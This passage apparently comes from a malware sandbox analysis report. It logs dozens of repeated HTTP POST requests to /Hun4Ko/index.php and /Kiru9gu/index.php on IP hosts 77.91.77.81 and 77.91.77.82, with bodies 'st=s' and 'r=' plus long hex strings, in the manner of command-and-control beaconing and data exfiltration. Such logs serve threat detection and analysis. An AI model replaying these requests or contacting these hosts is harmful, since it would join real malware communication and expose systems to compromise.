r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
